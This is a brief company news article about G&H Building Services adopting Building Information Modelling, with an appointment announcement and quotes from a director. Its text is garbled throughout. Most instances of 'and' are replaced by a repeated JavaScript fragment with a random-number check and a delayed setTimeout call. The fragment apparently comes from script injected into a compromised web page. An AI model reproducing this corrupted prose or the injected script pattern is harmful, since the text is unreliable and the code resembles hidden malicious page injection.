G&H invests in Building Information Modelling (BIM)

G&H Building Services has become one of the earliest adopters of Building Information Modelling (BIM) in the M&E sector.

Daniel Brook has been appointed as specialist BIM Manager to lead its development, implementation andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and training.

He is experienced in AutoCAD design andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and is also a qualified HVAC engineer, which is a valuable combination enabling him to provide comprehensive understandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anding when using BIM.

The commitment to BIM is driven by the need to position G&H Building Services at the forefront of the M&E sector ready to comply with the government directive that from 2016 all companies bidding for local authority construction contracts have to use Level 2 BIM.

G&H Pre-Construction Director, David Davis, said: “BIM is more than just being the latest software generating data. It enables teams to plan andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and integrate processes with the appropriate technologies that make it work.

“It brings about a cultural shift in the way the team thinks andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and works together.

“The early involvement of BIM will save time andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and money while ensuring any conflicting approaches by different parties can be ironed out during the pre-construction period.

“For example, it helps M&E specialists like us highlight andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and detail the locations of HVAC systems andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and avoid nasty surprises arising on site due to changes in other specialist fields such as structural steelwork.

“We are among the first building services companies to introduce BIM andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and we are keen to exploit all of the advantages it brings to the wider construction team andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and ultimately to the client.

“Everyone’s understandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anding of the scope of works is increasing andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and this will allow different disciplines to focus on shared targets andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and add more certainty to the procurement process.”